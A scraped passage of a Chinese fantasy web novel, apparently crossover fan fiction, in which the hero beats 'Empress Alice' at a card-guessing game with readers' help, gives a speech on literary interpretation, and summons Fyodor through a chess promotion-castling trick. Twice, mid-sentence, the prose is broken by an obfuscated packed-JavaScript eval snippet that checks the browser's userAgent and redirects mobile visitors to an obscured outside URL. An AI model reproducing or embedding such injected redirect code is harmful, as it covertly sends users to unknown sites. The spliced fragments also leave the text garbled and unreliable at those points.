当夏章雾撕下第二十张纸,甚至还有继续把纸撕下去的打算时,画外音终于忍不住提出了一点自己的额外意见:“你要是把这张本子用完了怎么办?读者也没法联系你了。” “与其在这里和我说这种蠢话,你还不如给这个笔记本增加一点额外的功能补偿。比如页数无尽、自动寻回、不可损坏之类的。” 夏章雾还在撕下来的几十页纸上涂涂画画着各种图案,闻言抬起头,毫不客气地回答道。 “好歹这也是独一无二的异能绑定物品,能不能给点绑定物品的高规格待遇?”他说,“幸好这次是我随身带着,要是把笔记本丢在外面那不就完蛋了。” “也是?” 画外音稍微有点被说服的意思:“如果哪天你的笔记本真的丢掉,确实麻烦挺大的。果然还是得你的异能增加这么个设定比较好。” “那我继续撕喽。”夏章雾说,又撕下来了一张纸,在上面很是随随便便地画了一个吹着号角的天使,下方写上了“judgement”的字眼。 接下来就是最后一张了。 他抬起头,看了眼城堡此刻被打开的天窗:之前的那场火烈鸟槌球游戏里,其中一只火烈鸟突发奇想地不打算参与这个无聊的比赛了,直接从这里飞了出去。 不得不说,实在是令人大开眼界。同样令人大开眼界的还有作为槌球出场的刺猬们。 “如果我是那位苹果先生,我就不会来参加这种危险的比赛。” 当时夏章雾是这么对作者说的:“这下倒好了,全场的刺猬都在追着他一个人。谁都不愿意往球门那里滚。如果不是球门突然把爱丽丝的刺猬捉住了,天晓得这场比赛要持续多久。” “现在轮到什么游戏了?” 夏章雾看了会儿天空,突然问作者。 “猜谜游戏。”作者说,“你打算猜猜吗?” “没有必要。”夏章雾毫不犹豫地低下头继续忙自己的,“说实话,我更喜欢确定的东西。比如接下来这个我赢定了的游戏。准备好了!” 说到最后,他的语气突然振奋起来。 夏先生拿起他精心制作的二十二张绝对说不上精美的牌,修理几下边角,随后便全部揣到了口袋里,耸耸肩,露出微笑。 “好啦。祝福我吧,读者们。” 他说。 就在此时,文字游戏也终于得来了解答。伴随着热烈的鼓掌声,爱丽丝女皇再次获得了这轮游戏的胜利。 她在高台上弯着眼睛,同时忍不住偷偷地瞥了眼身边的烤鸭,小小地吞了吞口水,但还是努力装出属于女皇的矜持样子,小口小口地吃着自己带来的葡萄蛋糕。 “现在,还有人要陪我玩游戏吗?” 她一边吃,一边用含含糊糊的声音问道,同时目光放在了夏章雾的身上,显现出跃跃欲试的模样。 他是唯一没有过来参加任何游戏的人。小女皇真的很好奇他一直在台下写着什么样东西。 “您好,女皇陛下。” 夏章雾站起身,走上前去。他很有礼貌地朝面前的女皇鞠了个躬:“我想要和您玩一个您之前或许从来没有见过的游戏。” 嗯……其实他现在感觉自己此刻的身份简直就像是童话里面的什么骗子或者巫师,正在用花言巧语和对方从来没有见过的新奇玩意欺骗一个非常好骗的国王。 “你还挺有自知之明的。” 作者发出赞许的声音:“我觉得你现在干的事情和以上内容的确没什么区别。” 但爱丽丝显然不这么觉得。 “您好,勒托先生。只要是游戏,我都可以陪您玩。”她很开心地说,“所以我要怎么称呼接下来游戏?” “一般它被称作《真相与谎言》。” 夏章雾回答。 “嗯,看来这就是它的名字。”爱丽丝说。 “事实上,陛下。它的名字被称作《你能想象到的与其他的一切》。”夏章雾继续说。 爱丽丝女皇歪了歪脑袋。 “那勒托先生。”她有些不解地说,“这才是它的名字吗?” “不得不说,你现在充分地学习到了这里说废话的精神。”作者对自家的主角说。 夏章雾假装自己没听见,只是继续一本正经地说道:“不不不,陛下。那只是对名字的称呼而已。《轮流发言》才是它真正的名字。” “哎哟。” 爱丽丝女皇轻轻地喊了一声,她被这么多的名字给搞得脑袋晕晕的,最后干脆放弃了:“我完全听不懂您是在说什么。但您还是开始吧!游戏规则我听您的就行。” 很好。 他用语言游戏来欺负小姑娘就是为了从对方的口中听到这么一句话。接下来对方就不会对这个游戏规则产生什么反对意见了。 夏章雾松了口气,然后开口:“首先,这个游戏需要五个玩家。” “这很简单,拍拍手就可以做到!” 爱丽丝女皇高兴地说。她拍了拍手,于是有五个幸运儿直接被从下方推了上来。 ——它们分别是缺了一块的葡萄干布丁、烤鸭和鱼。 ……所以怎么都是吃的! 夏章雾嘴角抽搐了一下,莫名感觉这些玩家可能还充当了接下来的饭后餐点的作用:从那块布丁头顶缺的部分就能看出来。 “还需要一个生物来担当公正的裁判。” 但他还是坚持着继续说。 “这很简单!手一指就可以做到!” 爱丽丝女皇继续开心地说,然后她伸出手往观众里面一指,其余的宾客纷纷散开,露出了中间一只西装革履的青蛙。 青蛙睁大呆滞的泡泡眼,走上前去。 “女皇陛下。”它说,“可我想睡觉。” “不行。你之前已经睡了很久,现在必须陪我们玩完这个游戏。放心,它一定是非常令人感到开心的游戏。你绝对不会后悔。” 爱丽丝女皇向它点头,用十分认真的小孩子语气说道。说得某个处心积虑的成年人内心感受到了那么一点点微不足道的愧疚。 虽然很抱歉,但他特地选出这个游戏的目的可不是为了给大家带来快乐的。 “游戏里,青蛙需要全程保持安静。” 夏章雾呼出一口气,继续保持着微笑说。 “这很简单!” 爱丽丝女皇拍拍手,继续高兴地说:“因为青蛙先生随时都快要睡着!” 青蛙看上去真的快要睡觉去了。夏章雾急忙拿出自己口袋里新鲜出炉的卡牌,背面朝上递给对方。 “请选择其中的五张牌。”他说。 “这很简单,青蛙先生也能做到。” 爱丽丝女皇说:“因为它有八根手指,数到五其实轻轻松松。” 于是青蛙随便抓了五张牌,抓在爪子里。 夏章雾拿出笔:“接下来请拿走这支笔,把牌翻到有图案的那一面,用它在不同卡牌上写下参赛者的名字。一张卡牌上只能有一个名字,一个名字只能被写在一张卡牌上。” “这稍微有点困难,不过难不倒它。” 爱丽丝女皇依旧很开心地说:“因为它知道爱丽丝女皇的名字叫爱丽丝女皇,布丁的名字叫布丁,鱼放名字叫鱼,烤鸭的名字叫烤鸭——而您打算称呼自己为勒托先生。事情就是这样!” 爱丽丝女皇是她的名字? 夏章雾忍不住看了面前的小姑娘一眼。 青蛙写完了所有的内容。 “接下来请青蛙先生把卡牌揉成一团。”夏章雾赶紧说道,“每个玩家各自选走其中的一个。” 于是青蛙把纸片揉成团。爱丽丝努力矜持地提着裙摆小跑下来,眼睛亮晶晶地拿走了最大的纸团。夏章雾和其他的食物——或者说是玩家各自也拿走了属于自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388181|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一个。 “纸团的内容只有自己能看到,不能告诉别的玩家也不能让别的玩家偷看。更不可以去看别的玩家所看到的内容。” 夏章雾握紧纸团,他的计划已经来到了关键的一步,但脸上依旧带着轻松的笑容:“现在,大家需要打开纸团,看看上面的图案和名字。” “这很简单,在座的各位都能做到!” 爱丽丝女皇打开了自己的纸团:“因为大家每个都能够保守秘密:哎呀,真是令人惊讶的图案和名字,但是爱丽丝不能告诉任何人!” 她看到了拿着号角的天使被画在纸上,下面的名字就是“Mr.Leto”和大写的审判单词,脸上的表情笑盈盈的。 没有颈椎的鱼费力地举起鱼鳍,摆了好几个姿势,最后差点骨折才看到上面写着“烤鸭”和“倒吊人”的内容。 而旁边的烤鸭也不遑多让,因为它虽然是一只有着脑袋和脖子的烤鸭,但是它有点近视,费了好大的力气才看到了牌上面写着“布丁”和“月亮”。 缺了一块的布丁倒是没什么担心。它很顺利地看完纸上的“星星”和“鱼”的内容,然后把纸团塞到了自己的身体里。于是从葡萄干布丁变成了葡萄干纸片布丁。 而夏章雾看着手里拿到的这张卡片。 “爱丽丝女皇”这个不算名字的名字被写在了坐在皇位上的女皇身上。他在画这张牌的时候下意识地想到了爱丽丝,还有读者们一开始对他念念叨叨的“逆位女皇”,于是图画中的女皇与爱丽丝有着三分的相似。 ——看上去宛若预言的暗示。 哈,这种神神叨叨的伏笔看上去倒是很有作者的风格。 夏章雾握紧了手里的牌,脸上的微笑从始至终都没有褪去过。 “接下来,大家按照拿走纸团的顺序轮流发言。”他说,“发言的主题必须和自己看到的纸团上的图案和名字有关。内容必须是两句真话或者一句假话。” “这应该也不难。” 爱丽丝女皇眨巴两下眼睛,想了想后很是肯定地点点脑袋,并没有急着开口:“因为大家都知道自己说出来的到底是真话还是假话。但是胜利的条件是什么呢?” 夏章雾看向青蛙。 “每当所有玩家发言完毕一次后,玩家就可以主动声明自己已经猜到了所有的玩家名字属于哪张牌。如果猜对了,请您说一声‘对’,来宣告游戏的结束。” “哦——听起来真有意思。”爱丽丝女皇若有所思地歪歪脑袋,“而且似乎并不难。不过如果没有人猜对该怎么办?” “那游戏就继续循环下去,永远持续下去。”夏章雾用平静的语气回答,同时留意爱丽丝脸上的表情,“直到猜对为止。” 果然,那位小女皇眼睛一下子亮了起来。 “我喜欢这个游戏!”她很是期待地说,然后举起自己的蛋糕——现在这块葡萄蛋糕已经被她吃了一大半,“那么就从我开始吧!” 很好,现在看来爱丽丝陛下是不会有作弊的打算了。她看上去恨不得这个游戏能够一直持续到地老天荒。 夏章雾深吸一口气,随后低头看向自己手中抓着的纸。 他不打算听这些人的发言。因为听这些东西并没有什么意义——对于这种游戏,第一局几乎没有人能够直接得出正确的答案。但他必须在第一局就给出答案。 当然,前提是在不作弊的情况下。 “啧啧啧。”作者在他的耳边发出有点幸灾乐祸的声音,“作弊可是没法给游戏带来乐趣的。” 废话,他又不是来玩游戏的。 夏章雾在心里默默地吐槽了一句。 “——不过,看在你这个计划竟然这么信任我的份上。我帮你一把也不是不行。” 作者笑眯眯地说:“接下来,读者的评论会出现在你手中拿着的这张纸上。就看他们到底愿不愿意也帮你一回,给你光明正大地作弊喽?” 51.读者得了MVP! 「巫渺: 爱丽丝女皇:审判天使, Mr . Leto。 鱼:烤鸭,倒吊人。 烤鸭:布丁,月亮。 布丁:星星,鱼。」 「好心的斯巴拉西希望饭团: 爱丽丝女皇:天使账务一一 鱼:烤鸭倒吊人 烤鸭:布丁月亮 布丁:星星鱼」 「愿我注视深渊: 爱丽丝女皇手里是拿着号角的天使和“Mr . leto”以及大写的审判。没有脊椎的鱼手里是"烤鸭"和"倒吊人",烤鸭手里是"布丁"和"月亮",缺了一块的布丁手里是"星星"和"鱼"。就是这些啦。」 「桉莉斯: 爱丽丝女皇手中牌“审判勒托先生”(是Mr. Leto) 鱼手中牌“倒吊人烤鸭” 烤鸭手中牌“月亮布丁” 勒托先生手中牌“女皇爱丽丝女皇”」 答案已经浮现在了纸上。 夏章雾垂眸看着这些读者给出的评论,还有其他那些好奇的、对爱丽丝女皇追根究底的叽叽喳喳,眼底掠过一丝笑意。 他把纸片在手心攥紧。 “勒托先生,现在轮到你发言啦。” 爱丽丝女皇用她从始至终都没有改变的天真烂漫的语气说:“大家都说完了哟。” 夏章雾抬起头。 在知道答案的情况下,接下来的事情也不过是走流程罢了。 “嗯,我看到的牌不是月亮。” 他先是随便地说了一句,然后脸上的笑容突然浓郁起来:“以及,现在手中拿着女皇牌的人最终会获得胜利。” 爱丽丝女皇疑惑地“诶”了一声。 但她还没反应过来,夏章雾就先一步举起了手,毫不犹豫地开口宣布了游戏的答案。 “我猜,真相是爱丽丝女皇的名字被写在了女皇牌上,鱼的名字被写在星星牌上,烤鸭的名字被写在倒吊人牌上,布丁的名字被写在了月亮牌上,我的名字被写在审判牌上。” 他扭过头去,脸上是灿烂的微笑:“青蛙先生,请问我的猜测对吗?” “对!”青蛙张大嘴,大声地宣布。 “诶?唔诶诶诶?” 爱丽丝女皇显然还没有搞明白现在到底发生了什么。她左看看,右看看,那对湛蓝的眼睛睁得大大的:“所以游戏就这样结束了吗?” 她显然没想到这个看上去至少能持续个三四轮的游戏在第一轮发言后就结束,以至于表情看上去都稍微有点惊讶和沮丧。 青蛙在说完这句话后就心满意足地闭上眼睛打盹儿去了。而在场的另外两名玩家看上去比爱丽丝还要茫然。只有夏章雾朝这位小女皇轻轻地鞠了个躬。 “是的,陛下。”他说,“游戏已经结束了。很抱歉,我有必须胜利的理由。” “唔——” 爱丽丝女皇郁闷地鼓起脸颊,发出相当纠结的声音。她做出这个动作不怎么像是河豚,更像是只无害的小仓鼠,显得有点委屈巴巴的。 夏章雾咳嗽了一声,有点担心对方真的被自己不要脸的作弊行为——在这方面他还是有点自知之明的——给气得直接哭出来。 但好在女皇陛下最后还是没有哭。 “没有必要道歉啦,勒托先生。” 她很快就又重新振作了起来,显现出无忧无虑的快活模样:“毕竟勒托先生在这个游戏的时候真的很厉害,就像爱丽丝在其他游戏上也很厉害一样!” 小女孩那干净明亮的眼睛看向夏章雾。 “所以,勒托先生。”她说,“你想要我帮你完成什么事呢?啊,对了,要不您就在演讲的时候把这件事说出来吧!” 夏章雾自己都愣了一下:“演讲?” 他也没有听说过在游戏里赢了爱丽丝女皇的玩家还需要进行演讲啊? “嗯嗯嗯!因为勒托先生实在是太厉害了,而且这次的游戏也很有意思,所以勒托先生想要到台上演讲吗?” 爱丽丝女皇高高兴兴地说,她低头看着周围所有的宾客:“大家也肯定都很想听的!” 与其说是很想听,倒不如说是爱丽丝并不希望这样的宴会就这么结束吧。 夏章雾看着她,很快就明白了面前这个小女孩心里的想法。 “好吧。”他说,“正好我也有很多想对大家说的内容。不过我能先问一个问题,接着把自己想要的说出来,最后再去演讲吗?” “当然。” 爱丽丝女皇相当大方地点点头,有些好奇地开口:“所以勒托先生想要问些什么?” “您之前教导过我怎么来到这里的方法。” 夏章雾认真地说:“说到这里大家都要遵守的规则,请问那是别人告诉您的,还是您本来就知道的内容?” 为了接下来的行动,这一点他必须要提前确认一下。 “欸?也不算是别人告诉我的吧。” 女皇碰了碰自己的王冠,弯起眼睛:“是成为女皇后就自然而然知道的内容啦!是不是超级神奇?说起来,勒托先生真的不想变成皇后吗?到时候我们就可以一起玩了!” ——呃,这个还是算了吧。 夏章雾扯了下嘴角。 “我的国王想要举办一场重要的宴会。” 他飞快地忽略了这个话题:“他大概会邀请很多人。所以女皇陛下,我希望您能让所有被他邀请的如约参加这次宴会。” “你的国王?” 爱丽丝女皇歪了歪脑袋,有些不解,但最后还是点点脑袋,用相当高兴的声音说:“当然可以啦。这里的过去和未来的一切都是我的臣民,我可以让他们去任何地方。” “只不过。”她说,“我不知道你的国王在哪里举办宴会呀,那要怎么办呢?” “那就请您让他们都跟着我走。” 夏章雾已经考虑到这一点了,他十分果断地开口道:“我会把他们全都带到的。” “哦!那就好。邀请函上所有的名字都会按时到达你们的宴会的!” 爱丽丝女皇高高兴兴地说,然后左顾右盼地寻找起了话筒。看上去比起这个承诺,她更期待的是接下来的演讲。 最后找到的话筒是一只倒霉的寄居蟹。夏教授这辈子是第一次拿寄居蟹演讲,在说话前忍不住咳嗽了两声,有些古怪地看了看面前寄居蟹那对茫然的眼睛。 “你说我应该讲什么?”他说。 “就讲你想要讲的事情呗。”画外音说,“你不是说有事情想要和大家说吗?” “我是在想该怎么开头……要不就学着颁奖典礼的流程先感谢一下?” 夏章雾拿着海螺,看着下方的生物们,然后又把自己的视线转移到了上方。 “首先呢,嗯。” 他有模有样地学着记忆里颁奖典礼的获奖感言环节,一本正经地说道:“我要在这里感谢所有的读者。” “如果没有你们,我大概不会走到这里。” 夏章雾有些不自在地扭了下头,但语气难得的坦诚:“不管是玧末、酵母、liar、深渊、饭团、魔王、七、巫渺还是爱丽丝……谢谢你们提供的情报支援,谢谢你们的注视和安慰。就算是忒休斯,也需要阿里阿德涅的红线才能走出弥诺陶诺斯的迷宫。而你们就是我的阿里阿德涅。” “总之,感谢你们愿意去帮助一个远离自己所处世界的、甚至很难说算是你们同类的人。而我甚至都没有办法对你们做出回报。” 他的脸上露出有些轻松的笑容:“但是嘛,我总算没有辜负我们之间的约定——以下就是我理解的关于这次文学多面体的真相。在这里,献给你们所有人。” 画外音耐心地听完了这段话。 然后它突然感觉到了不对劲的地方。 “等等,那我呢?那我呢?” 它发出相当震惊的声音:“难道就没有献给我的内容或者给我的感谢吗?好歹我也是帮了你那么多的忙耶!难道我们之间的信任是假的吗,主角你说句话啊!” 主角先生虚起眼睛。 “信任是一码事,感谢是另一码事。” 他没好气地说:“不管怎么想,你都是导致我必须累死累活地拯救世界的罪魁祸首吧。我又没有斯德哥尔摩综合征,怎么可能会感谢把我坑得那么惨的家伙。” 要是当初作者不告诉他这些事情,他现在就能十分安详地躺在自己选择的坟墓里,看着人类毁灭了——那未尝也不是一种挺好的结局。 但这种美好结局现在离他相当遥远就是了。 每次想到这里,夏章雾就会对自己的命运感到深深的同情。随后他熟练地无视了画外音在旁边不满的叽叽喳喳,继续说道: “这次的答案很复杂也很简单。就像是这两本书一样。” 夏章雾看向台下那些满脸茫然地看着他的听众们。它们都不知道他在说什么,包括爱丽丝也不知道。 因为他的演讲本来就是讲给读者的。 “你们告诉我:在你们的世界里,《漫游奇境》与《镜中奇遇记》诞生自卡罗尔被他的女孩儿们要求着讲了一个故事。而那个故事竟然意外地越来越长,越来越长,于是就变成了你们所看到的书。 “在你们的那个未来里,这两本书已经被赋予了无数的含义:它可以指向语言的不确定性,可以指向后现代的荒诞,还可以表达对当时社会的批判,还能指向儿童的成长主题。” 夏章雾耸了耸肩:“我想,它或许还拥有了无数种改编:有的比较黑暗,有的是单纯原著元素的重新串联,有的是借助它的外壳随意地讨论自己想要表达的东西。否则评论区的大家也不会有那么多混乱的记忆。” 他到现在还记得,一开始很多读者跟他描述的剧情内容彼此就是互相矛盾的。就连后来他问“黑尔和哈塔是否存在于故事里”时,也有读者给出了截然不同的回答。 或许那两本书在作者与读者的世界里确实相当出名,但不可否认的是,人们对它们并没有什么清晰的记忆。 当仔细回想时,才会发现自己难以判断一个角色的性格,难以确定具体的情节,想到的甚至有可能是电影之类的二次创作而非原著。 更不用说原著里作者想表达的初心。 “我们大概最初都忽略了一件事:它们最初属于童话的类群。它们因对孩子的爱而诞生,因希望孩子能够微笑而显得离经叛道又古怪。这就是作者在创作它们时所赋予的最大的意义。” 夏章雾抬起头,看着天花板的位置。 那上面雕刻着的分型图案拥有无限的周长,形成美丽的螺旋。 在数学领域,它被誉为“上帝的指纹”,拥有一大堆数不胜数的头衔,以此来标注它重要非凡的意义。但在他眼里,它只是上分形课程时让人想打瞌睡的图案。 无法穷尽的另一面就是极度的臃肿,无限增生的另一面是极端的累赘。 ——正如由无数个游戏与无数个谜题所构成的死亡之国。 ——正如天空中从开始到现在都始终循环往复、以至于让人感到厌倦的音乐。 ——正如缀满宝石的长裙与沉甸甸的王冠。 ——也正如那些永远无法死去、不得不以扭曲的形式继续存在于亡者世界的灵魂。 夏章雾闭上眼睛,低声地说,像在问自己,也像是在询问别的什么东西:“文学负面体的诞生来自于读者对文学的负面情绪。但如果,读者们甚至都已经开始遗忘它本身呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399219|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个文学负面体到底象征着什么? “它并非是爱。因为最初它表达爱的目的早已经在流传中被逐渐遗忘。它已被拆解,已被重塑,已成为一个象征性的符号,不再拥有具体的内容。” 就像童年由沙子塑造的人偶,被拆解、又被重组,然后再次得到塑造。 “它并非是你们口中儿童心理学的典籍、并非是语言哲学的典范、并非是讽刺社会的杰作、也并非是对梦境潜意识的绝妙隐喻。因为它现在已经成为了这所有一切的总和。” 就像爱丽丝女皇并非是爱丽丝·利德尔,也并非是女皇或者皇后。她的名字只能是爱丽丝女皇。 读者们没有猜到答案。但那些充斥着各种答案和“过度解读”的评论区本身就是答案。 一路上那些脱离文字语境的文字谜语、刻意背离现实的反常情节、以拙劣的方式进行戏仿的诗歌就是答案。 “停滞、泛滥、对欢乐的狂热。这些都是你的表象,但真正的你——是对自我梦想的扭曲和背叛。” 夏章雾睁开眼睛,脸上是明亮的笑容,他举起手臂,语气轻快:“我猜的对吗?把人类变成玩具的玩具,已经不知道自己是因为爱才被制造出来的东西,因为过度解读而诞生的怪物?” 空气中永恒不变的清脆音乐声似乎终于发生了变化。 它开始卡顿,节奏变得断断续续,连带着周围的一切仿佛也在掉帧。似乎有什么存在终于姗姗来迟地注意到了自己的游戏里出现了一个并非玩家的东西,意识到它想要破坏自己的游戏。 在这一刻,这个外表甜美的死亡王国仿佛终于显露出了自己由冰冷玻璃构成的本质。光与影开始不安地晃动,颜色开始偏移。周围的一切都像蛇一样向上蔓延。 他周围的一切都已经变为混沌的色彩。各种颜色的光线扭曲着,所有的事物都失去了本来该有的形状。 夏章雾微笑着注视着这一切。 “如果我没猜错,你现在貌似正准备花大力气去侵吞和取代现实吧?” 年轻的救世主笑眯眯地、毫不畏惧地张开手臂:“这种时候花那么多力气来杀我,你难道不会觉得很亏?哦,等一下。亲爱的,你真的能够杀人吗,该不会杀不了吧?” “所以你报复我的手段该不会就是让我死都死不掉,把我从这里踹出去吧?但就算如此,等你吞掉现实世界后,你还是得见到我啊。” 夏章雾把玩着手里拿着的寄居蟹话筒,相当虚情假意地发表着感慨:“不管怎么想,这种计划未免也太糟糕了——” 像是出于某种意志愤怒的驱使,他手中寄居蟹的贝壳在一刹那变成了玻璃组成的棱角分明的多面体。 尖锐的玻璃切面直接割入人类的手掌,鲜红的血液流淌而出。 而夏章雾只是轻轻地笑了声,随意地将其抛开。他知道,那个文学负面体针对自己的挑衅仅仅做出这样的举动,其实也变相宣告了它对自己的无能为力。 无法杀死人的文学负面体……吗。 他张开身后生长而出的翅膀,毫无畏惧地向上飞去,穿过城堡天窗本来在的位置。 最后的那条河流就在城堡的后方。 夏章雾轻松地一振翅膀,越过这条已经改变了形状和色彩的河流。 ——他已生出双翼,于是得以飞越弥诺陶诺斯的迷宫。 在那个瞬间,花岗岩材料的沉重铠甲骤然出现在他的身上。突兀的重量压得他飞行的高度不由自主地一低。 但救世主依旧在笑。 “在此。”他向前方伸出手,高声喊道,“我应约前来,迎接我的国王!” …… 费奥多尔正在陪未成年人们下国际象棋。 三月兔和疯帽子都还没回来:它们大概是被太宰治出其不意的手段给吓到了,于是很没有责任心地丢下了自己需要看守的国王。 他们也乐得那两个家伙不在,于是就用石头当棋子,在方格桌布上玩起了国际象棋。 太宰治对这种游戏上手得很快——现在他已经能和费奥多尔下个二十步棋然后以各种方式送掉自己的国王了。 而织田作之助在游戏里遭遇了惨败:在大家都知道他的异能只能看到六秒不到的未来后,大家就算是不知道该怎么下,都会装模作样地思考个十秒以上的时间。 坂口安吾倒也能勉强下一点。但问题在于,和费奥多尔对弈实在是有些太打击人的心态,不管怎么样都很难输得好看点。所以他最后干脆跑去和织田作之助一起观战了。 只有太宰治还在屡战屡败,屡败屡战。 “怎么看都是输定了啊。” 太宰治郁闷地托着脸颊,整个人就像是一只生闷气的小河豚:“算了,就算输也要输得稍微好看点。我用兵吃掉你的马!” 他把兵斜挪一格,吃掉了对方的马。但也把自己送到了象的攻击范围里。 费奥多尔没有急着收下这一枚兵,而是若有所思地抬头看向了远方。 “音乐声出问题了。”他说。 无处不在的音乐突然断断续续了起来,就像是八音盒精妙的结构中突然混进了石子,于是突然间变成了不谐的噪音。 “是出什么大事了吗?” 坂口安吾有些担心地抬起头看去。 “是勒托先生干的吧。” 织田作之助给出了很合理的推测。 “嗯,是他。” 费奥多尔点了点头,没有吃掉太宰治的最后那枚兵:“我马上先走一步。不用惊讶,等会儿你们就能看到我了。” 他伸出手,没有吃掉太宰治的兵,而是让自己的兵往前走到最后一格。 在最后一格,“兵”升变为“车”。 ——于此,王车易位。 52.哈基夏哈气了 升变王车易位由两步组成。 第一步,兵走到国际象棋的最后一格,可以选择升变成为除了“国王”以外的任何棋子。在这里,兵升变为“车”。 此时,可以视升变后的“车”在整个棋局上没有进行过任何移动。 第二步,当“国王”和“车”都没有移动过,两者路径上没有其他棋子,“国王”没有处于被将军的状态,“国王”经过或即将到达的位置没有棋子进行攻击时,可进行王车易位。 此时,“国王”向“车”的位置前进两格。“车”越过“国王”,来到与“国王”相邻的一格上。 ——不过目前这种方法已经被国际棋联正式禁止了。 具体禁止的时间夏章雾并不清楚,但他很肯定那是在20世纪发生的事情:毕竟20世纪前连国际棋联都没有诞生呢。 “但谁叫这次的文学负面体是诞生在1871年的老古董?在它的世界观里,国际象棋还真就是这么下的。” 夏章雾毫无内疚之心地对作者和读者说:“它大概都没有想到还有这种方法吧。毕竟升变王车易位想达成的条件太困难了。” 虽然他对国际象棋只有完全片面的理解,但他也觉得这种操作在真正的棋盘上实在是过于没有性价比:还不如直接让棋子升变成后,直接回援国王。 但对于现在的情况而言,确实刚刚好。 首先,他并不知道某个俄罗斯人现在具体的位置,也不知道怎么才能在“镜中奇遇”的故事中抵达“漫游奇境”里的茶会。 其次,他需要把那家伙从那个监狱里,直接拉到“镜中奇遇”的时间线里来。 在此时,能够同时移动“国王”和“车”的王车易位就显得相当重要了。 夏章雾闭上眼睛。 ——当然,他的这一步有赌的成分。尤其是在读者们最近似乎没有看到费奥多尔那边行动情况的条件下。 但他觉得自己能赌赢。 耳边单调的音乐声依旧在徘徊。在一瞬间的原形毕露后,这个世界很快就恢复成了往常一贯的模样:甜蜜而又欢快,单调而又繁冗。 “好久不见,勒托先生。” 没有眩晕感,什么奇特的事情都没有发生。但熟悉的声音重新又出现在了耳畔。 夏章雾几乎是本能地撇了下嘴角,随后转身往声音前来的方向看去,睁开眼睛。 他看到俄罗斯人正在河流的另一端。 对方正轻轻地朝自己微笑着,身上披着白绒镶边的绸缎披风,头顶戴着装饰有着璀璨宝石的王冠,酒红色的眼睛专注地看着自己。 “或者说,好久不见,天使先生?” 他用带笑的语气说,伸出一只手。 费奥多尔注视着前方天空上的“天使”。 对方身上覆盖着漆黑的全身重甲,几乎把整个人的身形都彻底挡住,在阳光下有着黑色花岗岩独特的冰冷而又沉闷的质感。与身后那对看上去质地十分柔软的羽翼形成了鲜明的对比。 那对像是由光线构成的翅膀让重甲骑士悬浮在天空上,呈现出与厚重盔甲截然相反的轻盈。 “噫——” 对方听到他说话后,似乎下意识地抖了斗自己的羽毛,表现出相当嫌弃的样子。 随后他落在地面上,把头盔掀起,用不满的语气抱怨道:“这次我可还没来得及喊错你的名字呢。这骂得也太脏了吧,费奥利奥先生?” 费奥多尔眨眨眼睛。 “我还以为你会说国王陛下呢。” 他用调侃的语气说。 “哇哦,听上去更肉麻了。” 然而夏章雾只是面无表情地吐槽了一句。 他侧过头,收回身后的翅膀,看向自己背后的那座巨大的城堡,然后往旁边挪了一步,很是不情愿地伸出手,隔着河流握住了属于费奥多尔的那一只。 “走吧,国王陛下。” 他很是不满地嘟哝道:“看在我总算没有白信任你的份上——这回你应该不会还让我用飞的方式接你过来吧?” 俄罗斯人轻轻地笑了声。 “不必,这条河还算不上太深。”他说,然后很顺利地走过了这条浅浅的河流,来到了夏章雾的身边。 夏章雾此时正在看这座城堡,似乎对城堡本身产生了极为浓厚的研究兴趣——也有可能是他就是不想看费奥多尔的脸。 “和爱丽丝女皇的城堡一模一样。” 他说:“除了颜色以外没有任何差别。” “很正常。”费奥多尔也抬眸望过去,主动走进了城堡,“我猜,接下来我还有一份邀请人员相当庞大的邀请函需要写。” “是啊。我可是为你向那位女皇陛下要了个相当有分量的承诺:不管你邀请的对象是谁,只要存在于这里,她都能保证他们会到场。” 夏章雾的目光终于从城堡上挪开了一点,勉为其难地转移到了费奥多尔的脸上,用颇为敷衍的语气说。 他看上去正在很纠结地思考着什么,给人的感觉并不是十分专注于对话上。 于是费奥多尔也没有主动开口询问,而是打量了一圈城堡内部的装潢后直接走进大厅,找了个位置坐下后,直接伸手问对方要了纸和笔。 他知道夏章雾的性格——如果他真的在想和自己有关的事,最后总会直接过来问自己的。 果然,过了两三分钟后,把自己笔记本的一页连着签字笔都借出去的夏某人就有点憋不住说话的冲动了。 “喂,那个谁。” 他十分不自然地嘟哝一声,扭过头:“你当时到底是怎么想的?” 费奥多尔很感兴趣地看去——夏章雾这么扭扭捏捏的样子可不多见:“您是指什么时候?我能是怎么想的?” “当然就是你给我传的消息!” 夏章雾的声音忍不住抬高了一点。 “升变王车易位的事情是你提醒我的,但这种事情直接说不行吗?” 他的表情看上去有些牙疼:“所以你为什么一定要用那种,就是那种……” 费奥多尔有些好笑地望着对方。 “模模糊糊、含糊其辞、语焉不详?” 他接过话茬,这么说。 “你也知道自己说的内容是这个画风啊!” 夏章雾咬了咬牙:“你就这么相信我的理解能力吗?要是中间出了几个差错,我没有想到这个方法怎么办?” 费奥多尔“嗯”了一声,饶有兴致地看着似乎有点炸毛的某人在他面前乱晃。 “就算是退一万步来说,升变王车易位本身就有很大的不确定性啊!条件太苛刻了!” 夏章雾已经气势汹汹地扳着手指头开始算了,一副打算秋后算账的口吻:“首先,你怎么确定我和你之间没有其他的棋子在的?” “因为我要卡罗尔先生帮了额外的一个忙。” 费奥多尔把纸张摊开,很快就写下了邀请人的名字,很自然地说:“您应该是在棋局的后半部分遇到他的吧。因为我拜托他‘清扫’一下这上面其他的棋子,所以他的速度才慢了点。否则他应该能更早遇到您。” 夏章雾沉默了一瞬。 